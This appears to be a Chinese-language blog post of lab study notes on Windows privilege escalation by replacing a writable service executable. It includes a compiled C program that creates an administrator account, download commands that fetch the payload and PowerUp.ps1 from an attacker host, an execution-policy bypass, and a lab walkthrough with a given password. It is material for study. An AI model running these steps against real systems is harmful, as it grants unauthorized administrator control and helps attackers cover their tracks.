替換 Windows 服務程式提權
替換 Windows 服務程式提權
Windows 服務使用 LocalSystem (Token 中包含 NT AUTHORITY\SYSTEM & BUILTIN\Administrators的 SID )、 Network Service、Local Service、User Account 來運行自己的服務。
查看啟動的服務若有 GUI 介面可以直接透過如上圖的方式查看,若僅有 PowerShell 的 UI 可以透過以下不同指令來查找服務,第一種 Get-Service
第二種指令,僅查看 Running 中的服務 Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
上述指令在互動式登入會被拒絕,但透過 RDP 再開啟 PowerShell 後即可正常執行
目標 :
現有登入機器的使用者為 dave 為一般使用者,我們將透過提權的方式最後查看 daveadmin 使用者桌面的檔案取得 flag
第三方套件都是值得關注的,尤其看到 XAMPP 這種套件,所以以下兩個是很值得注意
Apache & MySQL,這是因為安裝在 C:\xampp\~ 底下而不是其他系統預設的目錄
所以當時安裝的帳號給予了很大的權限
Name State PathName
---- ----- --------
Apache2.4 Running "C:\xampp\apache\bin\httpd.exe" -k runservice
mysql Running C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql
接下來使用 icacls or Get-ACL 來查看權限,但首先要先了解權限表的意思如下
MASK | PERMISSIONS |
---|---|
F | Full access |
M | Modify access |
RX | Read and execute access |
R | Read-only access |
W | Write-only access |
輸入 icacls "C:\xampp\apache\bin\httpd.exe" 查看服務啟動的權限
現有登入的使用者屬於 BUILTIN\Users 權限僅有 (RX),意即讀與執行
所以現有帳號沒有寫與修改的權限,故無法替換該檔案成我們要的東西
接著看看 MySQL 的權限,一樣輸入 icacls "C:\xampp\mysql\bin\mysqld.exe"
看來中獎了,BUILTIN\Users 權限有 (F),完全控制的權限
順道一提,也可以使用 Get-Acl -Path "C:\xampp\mysql\bin\mysqld.exe" | Format-list 查看
直接顯示 BUILTIN\Users 的權限是 FullControl
接下來讓我們直接來編寫一個新的 mysql.exe 檔案吧,將使用 C 程式碼建立一個名為 dave2的用戶,並使用system 函數將該用戶新增至本機管理員群組如下,檔案命名為 adduser.c
=====================================================================
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}
=====================================================================
接下來要將程式碼進行編譯(compiled )成可以在 64 位元 Windows 系統上執行的 exe 檔案
指令 : └─$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
一樣先透過 iwr 下載該檔案 iwr -uri http://192.168.45.228/adduser.exe -Outfile adduser.exe
接著把我們預計替換的 mysql.exe 先備份一下,目的是完成後記得要覆蓋回去避免被發現
指令 : move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
再來就是把 adduser.exe 換成 mysql.exe,指令 : move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe
大功告成,接下來就是要重新啟動 MySQL 服務,指令 net stop mysql,結果 GG 沒有權限
先檢查一下該服務是不是機器啟動時會自動帶起,可以使用以下的指令查看
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'},看來是一個開機自動帶起的服務
接著讓我們透過 whoami /priv 查看相關 SeShutDownPrivilege 開關機的權限
將機器重開吧,指令 shutdown /r /t 0,重開後如果一切順利應該會自動執行 mysql.exe
然後建立使用者 dave2,接著再將該使用者加入到本機的 administrators 群組
重開候登入並 Get-LocalGroupMember administrators 查看看,看來一切順利
Run AS 用 dave2 / password123! 即可順利拿取 flag
最後的工作記得將原有的 mysql.exe 替換回去然後再重新開機一次恢復原狀
其他工具介紹,前面我們是用 icacls 指令一個一個查看針對每個服務的權限
kali 內建有一個 PowerUp.ps1 檔案
路徑為 /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1
一樣先 COPY 到 HTTP 80 Server,指令 cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
一樣透過 iwr 下載到 Windows 目標主機
iwr -uri http://192.168.45.228/PowerUp.ps1 -Outfile PowerUp.ps1
接著要先使用 ExecutionPolicy Bypass 啟動 powershell 否則無法運行腳本,因為預設被阻止
指令 : powershell -ep bypass
接著導入 PowerUp.ps1,指令. .\PowerUp.ps1,然後可以下指令 Get-ModifiableServiceFile 就會直接顯示目前的一般使用者帳號 dave 有權限可以修改的檔案一覽
其他檔案幾乎都在 Windows 內建的資料夾底下,最後面一樣有顯示 mysql.exe
甚至還有告訴我們是否有權限可以重啟該服務
練習
使用一般使用者帳號為 Milena 的身分 RDP 連線到靶機,密碼為 MyBirthDayIsInJuly1!
尋找 Milena 可以取代服務二進位檔案的服務
作為運行該服務的用戶獲取互動式 shell,並在桌面上找到 flag
靶機 IP : 192.168.227.221
第一步 RDP 進去,廢話不多說先把剛剛做好的 adduser.exe 與 PowerUp.ps1 下載過去
iwr -uri http://192.168.45.228/adduser.exe -Outfile adduser.exe
iwr -uri http://192.168.45.228/PowerUp.ps1 -Outfile PowerUp.ps1
然後執行 powershell -ep bypass 導入 PowerUp.ps1,指令 . .\PowerUp.ps1
然後輸入 Get-ModifiableServiceFile 看看甚麼檔案可以改
看來第一個服務 BackupMonitor.exe 就能用且還有權限可以重新啟動服務
該服務是 roy 建立的
開始按表操課,先備份
move C:\BackupMonitor\BackupMonitor.exe BackupMonitor.exe
然後替換檔案
move .\adduser.exe C:\BackupMonitor\BackupMonitor.exe
重新開機輸入 Get-LocalGroupMember administrators,成功了
Run AS 拿 roy 桌面的 flag 吧
留言
張貼留言